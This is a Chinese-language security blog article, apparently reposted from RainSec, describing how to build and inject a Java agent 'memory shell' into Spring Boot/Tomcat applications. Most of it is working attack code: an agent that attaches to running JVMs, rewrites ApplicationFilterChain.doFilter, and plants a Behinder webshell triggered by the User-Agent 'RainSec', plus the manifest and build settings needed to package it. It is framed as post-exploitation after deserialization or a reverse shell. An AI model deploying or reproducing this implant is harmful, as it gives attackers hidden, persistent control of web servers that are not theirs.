长亭百川云 - 文章详情

初识Java agent类型内存马

RainSec

42

2024-07-14

初识Java agent类型内存马

前言

  你是否遇到过这样的场景,springboot环境下各种反序列化的点,但是可用的反序列化链不能直接加载类打入内存马,只能执行系统命令,甚至目标环境不出网,或者已经反弹shell或cs上线成功了,但是想要注入一个webshell。这时候就需要用到agent类型内存马了。

前置知识点

  JavaAgent 是JDK 1.5 以后引入的,可以在Java程序运行之前或运行期间修改类的字节码,Java agent可以是一个编译好的jar文件,使用方式有两种:

  • • 实现premain方法,在JVM启动前加载。

  • • 实现agentmain方法,在JVM启动后加载。(jdk 1.6 之后提供)

  实现了premain方法的agent 就可以在启动Java程序时使用 -javaagent 参数来加载。

  实现了agentmain方法的agent可以通过进程pid来连接到启动后的Java程序上。 agentmain方法声明如下,拥有Instrumentation inst参数的方法优先级更高:

public static void premain(String agentArgs, Instrumentation inst) {  
    ...  
}  
  
public static void premain(String agentArgs) {  
    ...  
}
  • • 第一个参数String agentArgs就是Java agent的参数。

  • • 第二个参数Instrumentaion inst比较重要,有三个需要用到的方法:

  1. 1. getAllLoadedClasses:获取目标已经加载的类。

  2. 2. addTransformer:增加一个 Class 文件的转换器,转换器用于改变 Class 二进制流的数据,在类加载之后,需要使用 retransformClasses 方法重新定义。addTransformer方法配置之后,后续的类加载都会被Transformer拦截。对于已经加载过的类,可以执行retransformClasses来重新触发这个Transformer的拦截。

  3. 3. retransformClasses: 在类加载之后,重新定义 Class。

Agent实现主要依靠VirtualMachine和VirtualMachineDescriptor这两个类

VirtualMachine  
VirtualMachine可以来实现获取系统信息,内存dump、现成dump、类信息统计(例如JVM加载的类)。  
  
Attach:允许我们通过给attach方法传入一个jvm的pid(进程id),远程连接到jvm上  
loadAgent:向jvm注册一个代理程序agent,在该agent的代理程序中会得到一个Instrumentation实例,该实例可以 在class加载前改变class的字节码,也可以在class加载后重新加载。在调用Instrumentation实例的方法时,这些方法会使用ClassFileTransformer接口中提供的方法进行处理。  
Detach:解除Attach  
VirtualMachineDescriptor  
 VirtualMachineDescriptor是用于描述 Java 虚拟机的容器类。它封装了一个标识目标虚拟机的标识符,以及一个AttachProvider在尝试连接到虚拟机时应该使用的引用。标识符依赖于实现,但通常是进程标识符(或 pid)环境,其中每个 Java 虚拟机在其自己的操作系统进程中运行。  
  
 VirtualMachineDescriptor实例通常是通过调用VirtualMachine.list() 方法创建的。这将返回描述所有已安装 Java 虚拟机的完整描述符列表attach providers。

jar包中的MANIFEST.MF 文件必须指定 Agentmain-Class 项,Agentmain-Class 指定的那个类必须实现 agentmain() 方法

编写一个agent.jar

  笔者在github找了好久,基本是一些本地调试用的demo,没找到能直接能用的且较为通用的。所以就在 ethushiroha师傅 项目 JavaAgentTools BehindShell 的基础上进行修改。

  
package org.apache.spring;  
  
  
  
import java.io.File;  
import java.io.IOException;  
import java.lang.instrument.Instrumentation;  
import java.lang.instrument.UnmodifiableClassException;  
import java.lang.reflect.InvocationTargetException;  
import java.lang.reflect.Method;  
import java.net.MalformedURLException;  
import java.net.URL;  
import java.net.URLClassLoader;  
import java.util.ArrayList;  
import java.util.List;  
  
public class m {  
    public static final String TransformedClassName = c.SpringMemShellConfig.TransformedClassName;  
    public static Instrumentation i = null;  
  
    public static void agentmain(String agentArgs, Instrumentation inst) throws ClassNotFoundException, UnmodifiableClassException, IOException {  
        //启动方法  
        i = inst;  
        System.out.println("Agent load ...");  
        start();  
    }  
  
    public static String start() throws UnmodifiableClassException {  
        System.out.println("Agent start ...");  
        //t继承了ClassFileTransformer接口,重写了transform方法,用于拦截修改加载的类字节码,此方法返回值是通过javassist修改好的字节码,  
        final t t1 = new t();  
        //获取目标所有已经加载的类  
        Class[] classes = i.getAllLoadedClasses();  
        for (Class aClass : classes) {  
            if (aClass.getName().equals(TransformedClassName)) {  
                //这里修改的是org.apache.catalina.core.ApplicationFilterChain类的doFilter方法,测试的时候有一个坑点是测试jar包启动时需要访问一下Web,ApplicationFilterChain类才会加载,上面获取所有类的时候才可以获取到ApplicationFilterChain类。  
                System.out.println("Agent get TransformedClassName ...");  
                //添加拦截器  
                i.addTransformer(t1, true);  
                //重新定义ApplicationFilterChain类,触发拦截器也就是t类的transform方法  
                i.retransformClasses(aClass);  
                return "Success";  
            }  
        }  
        return "ERROR::";  
    }  
    public static void main(String[] args)  
            throws RuntimeException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {  
                //agent.jar 用到的核心类VirtualMachine和VirtualMachineDescriptor在jdk的tools.jar里,如果直接把tools.jar一块打进agent.jar里,不能跨平台使用,笔者测试mac编译无法在linux中使用  
                //通过URLClassLoader加载目标环境的tools.jar,可以变得更加通用  
                String toolsJarPath = System.getProperty("java.home") + File.separator + ".." + File.separator + "lib" + File.separator + "tools.jar";  
                URLClassLoader classLoader = null;  
                try {  
                    classLoader = new URLClassLoader(new URL[]{new File(toolsJarPath).toURI().toURL()});  
                } catch (MalformedURLException e) {  
                    System.err.println("tools.jar load error");  
                    System.exit(-1);  
                }  
  
                Class<?> vmClass = null;  
                Class<?> vmdClass = null;  
                try {  
                    vmClass = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");  
                    vmdClass = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");  
                } catch (ClassNotFoundException e) {  
                    e.printStackTrace();  
                }  
                Object vmObj = null;  
                String agentpath = null;  
                List<String> list = new ArrayList<String>();  
                if (args.length == 2) {  
                    list.add(args[0]);  
                    agentpath = args[1];  
                } else if (args.length==1) {  
                    list.add(args[0]);  
                    //获取agent.jar的绝对路径  
                    agentpath = m.class.getProtectionDomain().getCodeSource().getLocation().getFile();  
                } else if (args.length==0) {  
                    //通过VirtualMachineDescriptor类的list方法 获取目标环境中运行的Java进程,省去查找pid这一步  
                    Method listMethod = vmClass.getDeclaredMethod("list", new Class[]{});  
                    List<Object> vmlist = (List<Object>) listMethod.invoke(null);  
                    Method idMethod = vmdClass.getDeclaredMethod("id",new Class[]{});  
                    Method displayNameMethod= vmdClass.getDeclaredMethod("displayName",new Class[]{});  
                    for (Object vmd : vmlist) {  
                        System.out.println(String.format("get vmname: %s  pid: %s",(String) displayNameMethod.invoke(vmd),(String) idMethod.invoke(vmd)));  
                        list.add((String) idMethod.invoke(vmd));  
                    }  
                    agentpath = m.class.getProtectionDomain().getCodeSource().getLocation().getFile();  
                }else {  
                    System.err.println("usage : java -jar agent.jar\r\njava -jar agent.jar pid\r\njava -jar agent.jar pid agentpath");  
                    System.err.println("Parameter error");  
                    System.exit(-1);  
                }  
  
                System.out.println(" agentpath :" + agentpath);  
                for (String pid :list){  
                    try {  
                        System.out.println(String.format("try attach %s",pid));  
                        Method attachMethod = null;  
                        try {  
                            //连接到此Java进程  
                            attachMethod = vmClass.getDeclaredMethod("attach", String.class);  
                        } catch (NoSuchMethodException e) {  
                            e.printStackTrace();  
                        }  
                        vmObj = (Object) attachMethod.invoke(null, pid);  
                        if (vmObj != null) {  
                            //加载agent.jar 触发agentmain方法  
                            Method loadAgentMethod2 = vmClass.getDeclaredMethod("loadAgent", String.class);  
                            loadAgentMethod2.invoke(vmObj, agentpath);  
  
                        }  
                    } catch (InvocationTargetException e) {  
                        e.printStackTrace();  
                    } catch (NoSuchMethodException e) {  
                        e.printStackTrace();  
                    } catch (IllegalAccessException e) {  
                        e.printStackTrace();  
                    } finally {  
                        if (null != vmObj) {  
                            Method detachMethod = null;  
                            try {  
                                //断开连接  
                                detachMethod = vmClass.getDeclaredMethod("detach", new Class[]{});  
                            } catch (NoSuchMethodException e) {  
                                e.printStackTrace();  
                            }  
                            try {  
                                detachMethod.invoke(vmObj);  
                            } catch (IllegalAccessException e) {  
                                e.printStackTrace();  
                            } catch (InvocationTargetException e) {  
                                e.printStackTrace();  
                            }  
                        }  
  
  
                    }  
                }  
            }  
}

  t.transform 读取jar包里的start.txt,把读取到的内容插入到ApplicationFilterChain类的doFilter方法里,默认所有路由都有效,可以添加User-Agent来判断是否走到webshell,org.apache.spring.b.d就是一个冰蝎马

{  
  
    javax.servlet.http.HttpServletRequest request = $1;  
    javax.servlet.http.HttpServletResponse response = $2;  
  
    try {  
        Object session = request.getSession();  
  
        if (request.getHeader("User-Agent").equals("RainSec")) {  
            org.apache.spring.b.d(request, response, session);  
            return ;  
        }  
    } catch (Exception e) {  
  
    }  
  
}  

创建 /src/main/resources/META-INF/MANIFEST.MF 文件,内容如下

Manifest-Version: 1.0  
Agent-Class: org.apache.spring.m  
Can-Redefine-Classes: true  
Can-Retransform-Classes: true  
Can-Set-Native-Method-Prefix: true  
Main-Class: org.apache.spring.m  

pom.xml 中加入此配置把自定义的MANIFEST.MF打到jar包中

<plugin>  
                <artifactId>maven-jar-plugin</artifactId>  
                <version>3.2.0</version>  
                <configuration>  
                    <archive>  
                        <manifestEntries></manifestEntries>  
                        <manifestFile>src/main/resources/META-INF/MANIFEST.MF</manifestFile>  
                    </archive>  
                </configuration>  
            </plugin>

mvn clean package -DskipTests 编译 。

几个坑点

最后记录一下整个编写测试中遇到的坑点。

  1. 1. 刚开始直接找了几个项目编译测试均失败,后发现是tools.jar 的问题,最后用URLClassLoader加载目标环境下tools.jar 解决。

  2. 2. 测试springboot jar包启动后需访问一下web才会加载ApplicationFilterChain类,后续才能获取到再修改。

  3. 3. 本项目注入的内存马非常容易修改,测试了一下注入蚁剑webshell,因为蚁剑连接webshell不是用的反射会连接失败。

  4. 4. 刚开始想改的是threedr3am师傅的ZhouYu项目,发现直接持久化直接替换jar包会导致服务异常,重启替换后的jar之后shell可正常使用,后续添加持久化功能可以在注入进程退出时再执行替换jar包。 笔者找到的一些agent内存马项目

   https://github.com/ethushiroha/JavaAgentTools

   https://github.com/threedr3am/ZhouYu

   https://github.com/su18/MemoryShell

5. windows下自动获取的agent路径前有一个`/`,适配windows需要添加一段代码判断为windows时把前面的`/`去掉

引用和参考

https://mp.weixin.qq.com/s/YVwqD6SwUq_jkEe_9afBCg

https://mp.weixin.qq.com/s/gmKSmW5SIME8lWKj8bvhWw

https://cangqingzhe.github.io/2021/10/13/JavaAgent%E5%86%85%E5%AD%98%E9%A9%AC%E7%A0%94%E7%A9%B6/

彩蛋

公众号后台回复Agent获得笔者的BehindShell源码

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2